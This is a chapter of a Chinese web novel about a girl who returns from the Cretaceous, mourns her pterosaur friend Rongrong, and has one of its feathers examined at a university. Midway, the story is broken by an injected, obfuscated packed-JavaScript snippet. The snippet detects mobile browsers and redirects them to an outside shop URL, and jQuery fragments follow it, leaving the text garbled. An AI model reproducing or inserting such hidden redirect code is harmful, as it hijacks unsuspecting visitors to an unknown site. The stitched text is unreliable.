她睡了很久。
不知道多久。也许是十几个小时，也许是一整天。醒来的时候，窗帘缝隙里透进来一束光，金色的，是下午的太阳。她躺在床上，盯着天花板看了很久。天花板是白色的，有一道细细的裂缝，从墙角延伸到灯座旁边。她看着那道裂缝，脑子里一片空白，又满满当当。像是有一个箱子，里面塞满了东西，但箱子盖着，看不到里面是什么。她不想打开。打开会疼。
她翻了个身，脸埋在枕头里。枕头上有一股洗衣液的味道，薰衣草的，淡淡的。不是绒绒的味道。绒绒的味道是干净的、像晒过的羽毛的味道。她把脸埋得更深，吸了一口气。薰衣草。不是绒绒。
她伸手去摸枕头旁边。羽毛还在，玩偶还在。她攥着它们，攥在手心里。羽毛是软的，滑的，凉的。玩偶是脏的，硬的，也是凉的。她把它们贴在脸上。
“绒绒。”她轻声说。
没有人回答。
门外有声音。妈妈在厨房里切菜，菜刀碰砧板，咚咚咚。爸爸在客厅看电视，声音开得很小，听不清在播什么。大哥在房间里打游戏，键盘噼里啪啦响。林小北在隔壁——她听到了他的脚步声，从房间走到客厅，又从客厅走到厨房。
都是熟悉的声音。她听了十六年。但现在听起来有点不真实。像是隔了一层什么东西，像是有人在放录音。她闭上眼睛，想起了白垩纪的声音。绒绒的咕噜，小角的咩咩，小智的啾啾。风吹过树林的沙沙声，溪水流过石头的哗啦声，裂缝呼吸时的低频震动。那些声音才是真实的。这些——菜刀声，电视声，键盘声——像假的。
她睁开眼睛。不能再想了。再想又要哭了。她已经哭了太多次，眼睛肿得睁不开，嗓子哑得说不出话。她不能再哭了。
她坐起来。头有点晕，肚子很饿。她低头看了看自己。穿着睡衣——不知道是谁帮她换的，也许是妈妈。睡衣是粉色的，上面有小兔子图案，是她初一的时候买的，现在穿有点小了，袖子短了一截。她的手臂露在外面，黑黑的，瘦瘦的，上面有好几道疤——在白垩纪被树枝划的，被石头磕的，被不知名的刺草割的。她看着那些疤，用手指摸了摸。平的，硬的，不疼了。但记得疼。
她站起来，走到镜子前面。
镜子里的那个人不像她。瘦，黑，头发乱糟糟的，打了好几个结。眼睛肿着，眼眶下面青紫色，像被人打了两拳。嘴唇干裂，起了皮，有一道口子结了痂。脖子下面有一道疤——是绒绒的爪子抓的吗？她不记得了。她看着镜子里的自己，看了很久。然后她伸出手，摸了摸镜子里的脸。凉的，光滑的。
“林小禾。”她对自己的镜像说。“你回来了。”
镜像没有说话。
她打开门，走了出去。
客厅里，爸爸坐在沙发上看电视。他听到门响，转过头。看到她的那一刻，他的眼睛亮了一下，又暗了下去。亮是因为看到了她，暗是因为看到了她的样子。他站起来，嘴唇动了动，想说什么，又咽回去了。只是说：“醒了？饿不饿？”
她点了点头。嗓子还是哑的，不想说话。
爸爸去厨房叫妈妈。妈妈从厨房里出来，围裙上沾着油渍，手里拿着锅铲。她看到林小禾站在客厅里，愣了一下，然后笑了。笑着笑着，眼眶红了。“小禾，妈给你做了红烧肉。还热着。你坐着，妈给你端。”
她坐在餐桌前。桌子上铺着塑料桌布，透明的，下面压着一张广告单。她看着那张广告单，上面的字她认得——某某超市大促销，鸡蛋一块九毛八一斤。她看着那些字，觉得很奇怪。她在白垩纪的时候，每天想的是怎么生火，怎么抓鱼，怎么不被恐龙吃掉。现在她坐在餐桌前，面前是一张超市促销广告。两个世界，隔了一百多天，隔了一亿年。
妈妈端来了红烧肉。热腾腾的，橙红色的，油亮亮的。又端来了一碗米饭，白白的，冒着热气。又端来了一碗汤——西红柿蛋汤，上面飘着葱花。她把碗筷摆好，站在旁边，看着她。
“吃吧。”妈妈说。声音有点抖。
她拿起筷子。筷子是用竹子做的，很轻，很滑。她在白垩纪用的筷子是自己削的木棍，两根，不直，粗细不一。她握着这双筷子，觉得太细了，太轻了，像握不住。她夹了一块红烧肉。肉很软，筷子一夹就裂开了。她把肉放进嘴里。甜，咸，软，糯。和记忆中的一样。和她在白垩纪想了一百多天的一模一样。她嚼着嚼着，眼泪掉下来了。
妈妈在旁边看到了，转过身去，用围裙擦了擦眼睛。爸爸坐在对面，低着头，假装在看手机。大哥从房间里走出来，站在门口，看着她。没有说话。
她吃完了那碗饭，又添了半碗。喝完了汤。吃完了红烧肉——盘子里只剩油汤，她用馒头蘸着吃了。吃得很多，多到她胃胀得难受。但她停不下来。因为这是家里的饭。她怕再也吃不到了。
吃完饭，林小北从房间里走出来，手里拿着一杯奶茶。递给她。“你的。多糖多冰。”
她接过来。杯子是塑料的，凉的，外面凝着一层水珠。她插上吸管，吸了一口。甜的，凉的，珍珠在嘴里滑来滑去。她嚼了一颗珍珠，QQ的，弹弹的。她在白垩纪想这杯奶茶想了很久。现在喝到了，却觉得没有想象中那么甜。也许是奶茶变了，也许是她的口味变了，也许是她变了。
她捧着那杯奶茶，坐在沙发上。爸爸坐在旁边，妈妈坐在对面，大哥坐在餐桌前，林小北坐在她旁边。一家人都看着她。没有人说话。电视在播新闻，播音员的声音很好听，但她听不进去。她只是捧着那杯奶茶，看着窗外的天空。灰白色的，云层很厚。没有裂缝，没有光。
“小禾。”妈妈终于开口了。声音很轻，像是怕吓到她。“你这一百多天……去哪了？”
她张了张嘴。想说实话——去了白垩纪，和恐龙在一起。但她看了看妈妈的眼睛，里面全是心疼和害怕。她说不出口。说了，妈妈会觉得她疯了。说了，妈妈会更担心。她低下头，看着奶茶里的珍珠。
“我记不清了。”她轻声说。声音沙哑。“很多事都记不清了。”
妈妈没有追问。爸爸也没有。大哥站起来，走到她面前，伸手摸了摸她的头。“记不清就别想了。回来了就好。”
她点了点头。眼泪又掉下来了。
晚上，她躺在床上。窗帘拉上了，屋里很暗。她把那根羽毛和那个玩偶从枕头下面拿出来，举到眼前。羽毛在黑暗中看不清颜色，但她知道它是白色的，带着暗褐色的血迹。玩偶也是白色的，脏兮兮的。
“绒绒。”她轻声说。“我在家了。”
没有人回答。窗外有风吹过，树叶沙沙响。她听着那个声音，想起了白垩纪的风。想起了绒绒站在风口，用身体挡住风暴的样子。想起了它的羽毛被风吹得往后翻，爪子死死抓住岩石，不肯松。想起了她抱着它的脖子，对它喊“你赶不走我的”。
她把羽毛贴在脸上。
“我会回去找你的。”
她闭上眼睛。手里攥着羽毛和玩偶，攥得很紧。她不知道会不会有一天，裂缝再次打开。她不知道能不能回去。但她知道，她会等。等一辈子也行。
半夜，她被噩梦惊醒。梦里绒绒在往下掉，翅膀上有一个洞，血在光里飘散。它对着她扇动翅膀，一下，两下，然后被光吞没了。她坐起来，喘着气。心脏跳得很快。屋里很黑，什么都看不到。她伸手去摸枕头旁边——羽毛在，玩偶在。她攥着它们，等心跳慢慢平复。
她躺下去，翻了个身，面朝窗户。窗帘没有拉严，有一道缝，月光从缝里透进来。她看着那道月光，想起了裂缝的光。裂缝的光是白色的，柔和的，像月光。但比月光亮，比月光暖。它在她面前的时候，她觉得自己被什么抱住了。现在，它不在了。她伸出手，想去碰那道月光。手指在月光里穿过，凉凉的，什么都碰不到。
“绒绒。”她轻声说。没有人回答。
第二天早上，她醒来的时候，枕头湿了一片。不知道是口水还是眼泪。她把羽毛和玩偶放回枕头下面，坐起来。窗外有鸟叫，叽叽喳喳的。她听着那些鸟叫，想起了小智。小智的叫声比麻雀细，比麻雀尖。她闭上眼睛，试着在脑子里回放那个声音。“啾——”她听到了。是记忆里的声音。很清晰。她的眼眶红了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761839|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她起床，走出房间。妈妈在厨房做早饭，煎鸡蛋的滋滋声。爸爸在阳台上浇花，水壶哗啦哗啦响。林小北坐在餐桌前，啃着一片吐司，手里拿着手机。她走过去，坐在他对面。林小北抬起头，看了她一眼。把吐司递过来。“吃吗？”她摇了摇头。林小北把吐司收回去，继续啃。
两个人坐着，谁都没有说话。过了一会，林小北放下手机，看着她。“你那根羽毛……我带你去鉴定一下。”
她愣了一下。“鉴定？”
“嗯。我一个同学他爸在大学生物系，能鉴定羽毛的来源。”林小北看着她。“你想知道那根羽毛是不是翼龙的，对不对？”
她点了点头。她想知道。她想知道绒绒是不是真的存在过——不是她的幻觉，不是她的梦。她想证明，那一百多天是真的。
下午，林小北带她去了大学。生物系在实验楼三楼，走廊很长，灯管白晃晃的，地上铺着浅灰色的瓷砖。她的运动鞋踩在上面，发出吱吱的声音。她跟着林小北走，手里攥着那根羽毛。羽毛被她用纸巾包着，放在一个信封里。
实验室的门开着，里面有一股药水的味道。一个戴眼镜的中年男人坐在显微镜前，看到他们进来，站了起来。“你就是林小北？”林小北点了点头。“这是我妹，林小禾。”
她把手里的信封递过去。“请您看看。”她的声音还是哑的。
男人接过信封，打开，把那根羽毛取出来。他先是肉眼看了看，然后放到显微镜下面。调焦，换镜头，又调焦。看了很久。他的表情从好奇变成困惑，从困惑变成凝重。他抬起头，看着他们。
“这根羽毛……很特殊。”他摘下眼镜，揉了揉鼻梁。“它的结构不属于任何已知的鸟类。也不属于现存的任何翼手类动物。”
她心跳加速了。“那是什么？”
男人看着她，犹豫了一下。“从髓质结构来看……它属于翼龙类。但翼龙在白垩纪末期就灭绝了。这根羽毛的新鲜程度——如果我不看结构，我会说它是几天前从活体身上掉下来的。”
她没有说话。林小北也没有。男人又问：“你们从哪里得到的？”林小北看了她一眼。她低下头。“捡到的。在树林里。”
男人看了看她，又看了看羽毛。没有追问。“这根羽毛我要做进一步分析。能留在这里吗？”她摇头。“不能。我要带回去。”男人点了点头，把羽毛小心地放回信封，还给她。
走出实验楼的时候，天已经黑了。路灯亮着，橘黄色的光。她攥着那个信封，站在台阶上，看着天空。星星出来了，但不多，被城市的光污染遮住了大半。她看着那些星星，想起了白垩纪的星空。密密麻麻的，像有人在天上撒了一把碎钻石。
“林小北。”她说。“那根羽毛是绒绒的。”
林小北站在她旁边，没有看她。只是说：“嗯。”
“它真的存在过。不是我编的。”
“我知道。”
她看着他。“你相信我？”
林小北转过头，看着她。他的眼睛很亮，和以前一样。“你是我妹。你说的，我都信。”
她的眼泪涌出来了。她低下头，用袖子擦了擦。不想让他看到。但他看到了。他伸出手，拍了拍她的肩膀。“走吧。回家。妈做了红烧肉。”
她点了点头。
他们一起走下台阶，朝校门口走去。她走在林小北旁边，手里攥着那个信封。信封里装着绒绒的羽毛。它存在过。她知道。林小北也知道。那就够了。
回到家，妈妈果然做了红烧肉。她吃了两碗饭，喝了一杯奶茶。然后回到房间，躺在床上，把羽毛和玩偶从枕头下面拿出来。举到眼前。
“绒绒。今天有人看到你的羽毛了。他说你存在过。”
她把羽毛贴在脸上。
“我知道。”
她把玩偶也贴在脸上。
“晚安，绒绒。”
她闭上眼睛。窗外有风吹过，树叶沙沙响。她听着那个声音，想起了白垩纪的风。想起了绒绒的翅膀盖在她身上的感觉。暖的，软的，安全的。
她睡着了。没有做梦。